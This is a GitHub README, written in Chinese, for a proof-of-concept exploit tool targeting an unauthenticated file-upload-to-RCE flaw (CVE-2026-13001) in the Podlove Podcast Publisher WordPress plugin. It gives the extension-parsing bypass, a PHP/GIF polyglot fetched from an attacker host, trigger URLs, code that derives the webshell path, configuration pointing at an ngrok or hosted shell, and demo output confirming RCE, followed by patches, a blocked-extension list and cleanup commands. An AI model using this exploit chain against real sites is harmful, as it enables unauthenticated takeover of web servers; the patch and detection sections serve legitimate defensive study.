Raimu0x19/CVE-2026-13001
GitHub: Raimu0x19/CVE-2026-13001
针对 WordPress Podlove Podcast Publisher 插件未认证任意文件上传导致远程代码执行(RCE)漏洞的概念验证利用工具。
Stars: 2 | Forks: 0
# CVE-2026-13001 — Podlove Podcast Publisher ≤ 4.5.1 未认证任意文件上传 → RCE




## 概述
Podlove Podcast Publisher ≤ 4.5.1 存在一个未认证的任意文件上传漏洞,可导致远程代码执行(RCE)。图像缓存处理器 `podlove_handle_cache_files` 被注册在 `wp` action hook 上,且没有任何身份验证或权限检查,允许任何未认证的访问者触发远程文件获取并将其缓存到磁盘上。
由于两个内部扩展名解析函数之间存在不一致,导致 GIF89a PHP 多态文件(polyglot)可以通过图像验证检查,同时以 `.php` 扩展名保存,最终产生可执行的服务器端代码。
| 属性 | 值 |
|----------------|-----------------------------------------------------|
| CVE ID | CVE-2026-13001 |
| 插件 | Podlove Podcast Publisher |
| 受影响版本 | ≤ 4.5.1 |
| 已修复版本 | 4.5.2 |
| CVSS 评分 | 9.8 (严重) |
| 向量 | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| 需要认证 | 无 |
| 类型 | 未认证任意文件上传 → RCE |
## 根本原因
该漏洞源于两个独立的函数:它们使用不同的方式从同一个受攻击者控制的 URL 中解析文件扩展名:
```
// extract_file_extension() — reads from URL PATH only
// Input : https://attacker.com/shell.php?.gif
// Result: php
function extract_file_extension($url) {
$path = parse_url($url, PHP_URL_PATH);
return pathinfo($path, PATHINFO_EXTENSION); // → "php"
}
// is_image() — uses basename() which INCLUDES the query string
// Input : https://attacker.com/shell.php?.gif
// Result: gif ← bypass
function is_image($url) {
$ext = strtolower(pathinfo(basename($url), PATHINFO_EXTENSION));
return in_array($ext, ['jpg','jpeg','png','gif','webp']);
}
```
`basename('https://attacker.com/shell.php?.gif')` 返回 `shell.php?.gif`,因此 `pathinfo()` 将扩展名识别为 `gif` —— 从而通过图像检查。
同时,`extract_file_extension()` 正确解析了路径部分并返回 `php`,这成为了磁盘上保存文件的扩展名。
**结果:** 文件被验证为 GIF 图像,但被保存为 `.php`。当使用 GIF89a 多态文件(有效的 GIF 文件头 + 嵌入的 PHP 代码)时,该文件在通过 HTTP 访问时会作为 PHP 执行。
### Shell 路径推导
```
import hashlib
attacker_url = "https://attacker.com/shell.php?.gif"
file_name = "podcast" # podlove_file_name parameter
sanitized = "podcast" # after preg_replace('~[^-a-z0-9_]+~', '')
h = hashlib.md5((attacker_url.strip() + sanitized).encode()).hexdigest()
shell_path = f"/wp-content/cache/podlove/{h[:2]}/{h[2:]}/{sanitized}_original.php"
```
## 利用链
```
Attacker Target WordPress
│ │
│── GET /?podlove_image_cache_url= │
│ {hex(attacker_url)}& │
│ podlove_file_name=podcast ──▶│
│ │── is_image(url) → ext=gif ✓
│ │── fetch(url) → GIF89a
│ │── save as podcast_original.php
│ │
│── GET /wp-content/cache/podlove/ │
│ {h[:2]}/{h[2:]}/ │
│ podcast_original.php ───────▶│
│ │── PHP executes → RCE ✓
│◀── uploader ───│
```
## 触发 URL
**标准固定链接:**
```
GET /?podlove_image_cache_url={str2hex(attacker_url)}&podlove_width=100&podlove_height=100&podlove_crop=0&podlove_file_name={name}
```
**美观固定链接:**
```
GET /podlove/image/{str2hex(attacker_url)}/100/100/0/{name}
```
其中 `str2hex(url)` = `url.encode().hex()`(等同于 PHP 的 `unpack('H*', $str)`)。
## 概念验证
### 要求
```
pip install requests rich
```
### 用法
```
# 单个目标
python3 CVE-2026-13001.py
# 选择选项 ♡ 用于单个目标或 ◆ 用于批量扫描
```
### 配置
编辑 `CVE-2026-13001.py` 中的 `CONFIG` 块:
```
# 选项 A — 通过 ngrok 暴露的本地 HTTP 服务器
ATTACKER_DOMAIN = "0.tcp.ap.ngrok.io"
ATTACKER_PORT = 10973
ATTACKER_PATH = "/shell.php"
# 选项 B — 预托管 shell(推荐)
ATTACKER_URL_OVERRIDE = "https://yourserver.com/shell.php?.gif"
FILE_NAME = "podcast" # becomes podcast_original.php on target
```
### 演示
```
╔══════════════════════════════════════════════════════╗
║ CVE-2026-13001 │ CVSS 9.8 Critical ║
║ Podlove Podcast Publisher ≤ 4.5.1 │ Unauth RCE ║
╚══════════════════════════════════════════════════════╝
[target] https://target.com
[1/4] Version check → 4.1.0 (VULNERABLE ✓)
[2/4] Soft-404 check → baseline set
[3/4] Upload shell → 307 redirect (triggered)
[4/4] Shell verify → 200 OK — RCE CONFIRMED
Shell URL : https://target.com/wp-content/cache/podlove/ab/cd1234.../podcast_original.php
```
## 受影响的函数
**文件:** `lib/image/image.php` (Podlove Podcast Publisher)
```
// No authentication check — any visitor can trigger this
add_action('wp', 'podlove_handle_cache_files');
function podlove_handle_cache_files() {
if ( ! isset( $_GET['podlove_image_cache_url'] ) ) return;
$url = hex2bin( $_GET['podlove_image_cache_url'] );
$file_name = sanitize_title( $_GET['podlove_file_name'] ?? '' );
// is_image() uses basename() → includes query string → bypass
if ( ! is_image( $url ) ) return;
$ext = extract_file_extension( $url ); // reads PATH only → php
$hash = md5( $url . $file_name );
$dest = WP_CONTENT_DIR . "/cache/podlove/{$hash[0]}{$hash[1]}/{$hash}/{$file_name}_original.{$ext}";
// Downloads attacker URL and saves as .php — no content validation
wp_remote_get( $url );
// ... move to $dest
}
```
## 修复方案
### 官方修复(更新至 4.5.2)
通过 WordPress 管理后台或 WP-CLI 更新插件:
```
wp plugin update podlove-podcasting-plugin-for-wordpress
```
### 手动修补
**1. 修复 `is_image()` —— 在检查扩展名之前去掉查询字符串:**
```
// Before (vulnerable)
function is_image($url) {
$ext = strtolower(pathinfo(basename($url), PATHINFO_EXTENSION));
return in_array($ext, ['jpg','jpeg','png','gif','webp']);
}
// After (fixed)
function is_image($url) {
$path = parse_url($url, PHP_URL_PATH);
$ext = strtolower(pathinfo($path, PATHINFO_EXTENSION));
return in_array($ext, ['jpg','jpeg','png','gif','webp']);
}
```
**2. 在保存之前拦截危险扩展名:**
```
$blocked = ['php','php3','php4','php5','php7','phtml','pht','phar'];
if (in_array(strtolower($ext), $blocked)) return;
```
**3. 添加身份验证检查:**
```
function podlove_handle_cache_files() {
if ( ! current_user_can('manage_options') ) return;
// ...
}
```
### 利用后清理(如果已被入侵)
```
# 从 Podlove cache 中移除所有 PHP 文件
find wp-content/cache/podlove/ -name "*.php" -delete
# 或移除整个 cache(安全 — 将会重新生成)
rm -rf wp-content/cache/podlove/
# 检查访问日志以获取 shell 访问权限
grep "cache/podlove" access.log | grep " 200 "
```
## 时间线
| 日期 | 事件 |
|------------|----------------------------------|
| 2026-07-15 | 发现漏洞 |
| 2026-07-15 | 开发并测试 PoC |
| 2026-07-15 | 公开披露 |
## 参考
- [WordPress 插件页面](https://wordpress.org/plugins/podlove-podcasting-plugin-for-wordpress/)
- [NVD — CVE-2026-13001](https://nvd.nist.gov/vuln/detail/CVE-2026-13001)
## 作者
**Raimu0x19**
标签:CISA项目, RCE, Web安全, WordPress, 漏洞分析, 蓝队分析, 路径探测, 逆向工具